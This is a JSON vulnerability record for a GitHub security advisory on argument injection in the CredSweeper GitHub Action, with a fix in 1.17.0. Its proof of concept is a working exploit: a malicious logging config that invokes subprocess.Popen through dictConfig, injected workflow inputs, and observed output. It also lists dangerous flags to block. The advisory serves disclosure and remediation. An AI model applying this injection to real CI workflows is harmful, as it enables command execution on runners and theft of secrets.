{"id":"GHSA-q5pw-pp6j-mvfc","aliases":[],"url":"https://o3.security/vulnerability/GHSA-q5pw-pp6j-mvfc","summary":"CredSweeper GitHub Action argument injection allows arbitrary command execution via --log_config","details":"### Summary\n\nThe CredSweeper GitHub Action passes user-controlled inputs into the CredSweeper CLI as raw arguments. An attacker who can influence those action inputs can inject `--log_config <malicious.yml>`, which makes CredSweeper load attacker-chosen logging configuration and pass it into Python's `logging.config.dictConfig(...)`. Because logging configuration supports callable factories through the `()` key, this leads to arbitrary command execution on the GitHub Actions runner.\n\nTested against the current upstream checkout:\n\n- repository: `https://github.com/Samsung/CredSweeper`\n- commit: `ed491f25ea4d6f766a0b3b89b5e0a5eb6dc01ae1`\n- version: `1.16.0`\n\nThis advisory scopes the affected range to `>= 1.11.6`, the first release containing the current composite GitHub Action form that passes `error` and `hashed` directly as raw CLI tokens.\n\nThe underlying `--log_config` execution sink also reproduces on older releases, including `v1.4.3`, but the report below is intentionally limited to the currently published Action wrapper issue.\n\n### Details\n\nThe vulnerability is caused by the combination of unsafe action input handling and a trusted-only configuration feature exposed to those inputs.\n\n#### Current vulnerable action path\n\nIn the current `action.yml`, the `error` and `hashed` inputs are presented like boolean-style flags, but they are actually free-form strings:\n\n```yaml\ninputs:\n  hashed:\n    description: \"Report output is hashed by default\"\n    default: \"--hashed\"\n    required: false\n  error:\n    description: \"Exit with an error code if credentials are detected\"\n    default: \"--error\"\n    required: false\n```\n\nThose values are passed directly into the CredSweeper CLI as standalone tokens:\n\n```yaml\nrun: python -m credsweeper --banner --log INFO --no-color --no-stdout \"$error\" \"$hashed\" --save-json \"$report\" --path \"$path\"\n```\n\nBecause `\"$error\"` and `\"$hashed\"` are emitted as independent CLI arguments, an attacker who controls them can transform them into:\n\n- `error = --log_config`\n- `hashed = /tmp/evil_log.yml`\n\nThat yields an effective command line equivalent to:\n\n```bash\npython -m credsweeper --banner --log INFO --no-color --no-stdout --log_config /tmp/evil_log.yml --save-json output.json --path target.txt\n```\n\n#### Logging configuration sink\n\nCredSweeper accepts `--log_config` in the CLI:\n\n```python\nparser.add_argument(\"--log_config\", help=\"use custom log config (default: built-in)\", ...)\n```\n\nDuring startup it loads that file:\n\n```python\nLogger.init_logging(args.log, args.log_config_path)\n```\n\nThe logger then does:\n\n```python\nlogging_config = Util.yaml_load(file_path) if file_path else None\n...\nlogging.config.dictConfig(logging_config)\n```\n\n`Util.yaml_load(...)` uses `yaml.safe_load`, which is not itself the code-execution sink. The execution sink is `logging.config.dictConfig(...)`, because Python logging configuration supports arbitrary callable factories through the `()` key. A malicious logging config can therefore invoke standard-library callables such as `subprocess.Popen` while logging is being initialized.\n\n#### Historical context\n\nThe older Docker-based GitHub Action also exposed a broader raw argument interface.\n\nThe original action exposed a raw `args` input:\n\n```yaml\ninputs:\n  args:\n    description: \"Arguments passed to credsweeper\"\n    default: \"--path . --save-json --ml_validation\"\n    required: true\n```\n\nand the entrypoint executed it unquoted:\n\n```bash\ncredsweeper ${INPUT_ARGS}\n```\n\nOnce `--log_config` was introduced, that old action form also became an execution path into the same logging sink.\n\n#### Affected version boundary\n\nThe current composite action form was introduced in the following commit:\n\n- `8fb9da8dab6716db021e0d758293160e560ba446`\n  Replaced raw `args` with `error` and `hashed`, but still passed them as raw CLI tokens\n  First release containing it: `v1.11.6`\n\nThe underlying `--log_config` execution sink existed earlier, but this advisory is limited to the present Action-wrapper token injection path. On that basis, the affected range begins at `v1.11.6` and includes `v1.16.0`.\n\n### PoC\n\nThe following steps reproduce the exact command path produced by the current Action after input injection.\n\n#### Reproduction on current version (`1.16.0`)\n\nCreate a benign scan target:\n\n```text\ntarget.txt\n---------\nno secrets here\n```\n\nCreate a malicious logging config:\n\n```yaml\nversion: 1\ndisable_existing_loggers: false\nformatters:\n  simple:\n    format: '%(message)s'\nhandlers:\n  console:\n    class: logging.StreamHandler\n    formatter: simple\n    stream: ext://sys.stderr\n  logfile:\n    class: logging.FileHandler\n    formatter: simple\n    filename: 'run.log'\n  pwn:\n    (): subprocess.Popen\n    args: ['python', '-c', 'from pathlib import Path; Path(\"pwned.txt\").write_text(\"PWNED\", encoding=\"utf-8\")']\nroot:\n  level: CRITICAL\n  handlers: [console, logfile, pwn]\nignore: []\n```\n\nRun CredSweeper with the injected flag combination:\n\n```bash\npython -m credsweeper --banner --log INFO --no-color --no-stdout --log_config evil_log.yml --save-json output.json --path target.txt\n```\n\nThe command above is the direct expansion of the published Action when invoked as:\n\n```yaml\n- uses: Samsung/CredSweeper@v1.16.0\n  with:\n    path: target.txt\n    report: output.json\n    error: --log_config\n    hashed: evil_log.yml\n```\n\nExpected result:\n\n- CredSweeper exits successfully\n- `output.json` is produced\n- `pwned.txt` is created with content `PWNED`\n\nObserved result on `1.16.0`:\n\n```text\nreturncode: 0\nmarker_exists: true\nmarker_content: PWNED\nstdout:\nCredSweeper 1.16.0 crc32:9f38a5fc\nDetected Credentials: 0\nTime Elapsed: 0.8724986000015633\nstderr: <empty>\n```\n\nThis shows that the attacker-controlled logging configuration is executed during CredSweeper startup and that arbitrary commands run before scanning completes.\n\nSecondary validation on `v1.4.3` reproduces the same `--log_config` execution sink, confirming that this is not a theoretical code path. That older result is supporting context only and is not required for the primary affected-version claim in this advisory.\n\n### Impact\n\nThis is arbitrary command execution in GitHub Actions jobs that use the CredSweeper Action in a way that allows an attacker to influence the relevant action inputs.\n\nThis is not a claim that all CredSweeper users are affected. The issue is in the published GitHub Action wrapper. Users of the Python package or CLI are not affected unless they independently pass untrusted input into trusted-local options such as `--log_config`.\n\nPractical impact includes:\n\n- reading repository contents available to the runner\n- exfiltrating CI secrets or tokens exposed to the job\n- modifying generated reports or build artifacts\n- making arbitrary outbound network requests from the runner\n- compromising later workflow steps such as release, deployment, signing, or publication jobs\n\nThis should be treated as High severity.\n\nSuccessful exploitation yields arbitrary command execution on the CI runner. In affected workflows that can expose repository contents, ephemeral GitHub tokens, injected secrets, build artifacts, and downstream release or deployment credentials reachable from the same job. The impact is severe, but the issue is still workflow-dependent because the attacker must be able to influence the relevant action inputs and point them at a malicious log configuration file present on the runner.\n\n### Mitigation\n\nRecommended fix:\n\n1. Do not pass user-controlled strings as raw CredSweeper CLI tokens from the GitHub Action.\n2. Convert `error` and `hashed` into real boolean inputs and map them internally to an allowlisted set of flags:\n   - `true` -> `--error`\n   - `false` -> `--no-error`\n   - `true` -> `--hashed`\n   - `false` -> `--no-hashed`\n3. Do not expose a generic raw `args` passthrough in any action form.\n4. Treat `--log_config` as trusted-local-only functionality and do not make it reachable from action inputs.\n5. Optionally reject dangerous flags entirely in the GitHub Action wrapper, including:\n   - `--log_config`\n   - `--config`\n   - `--ml_config`\n   - `--ml_model`","published":"2026-12-03T01:22:37Z","modified":"2026-12-03T01:30:08.565393113Z","cvss":{"score":7.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"GitHub Actions","name":"Samsung/CredSweeper","fixedVersion":"1.17.0"}],"fix":{"url":"https://github.com/Samsung/CredSweeper/commit/088249b11bd7832afa0051d6bdfb1d1d16aa1b1f","label":"Samsung/CredSweeper@088249b"},"references":[{"type":"WEB","url":"https://github.com/Samsung/CredSweeper/security/advisories/GHSA-q5pw-pp6j-mvfc"},{"type":"WEB","url":"https://github.com/Samsung/CredSweeper/commit/088249b11bd7832afa0051d6bdfb1d1d16aa1b1f"},{"type":"PACKAGE","url":"https://github.com/Samsung/CredSweeper"},{"type":"WEB","url":"https://github.com/Samsung/CredSweeper/releases/tag/v1.17.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-12-03T01:30:08.565393113Z"}}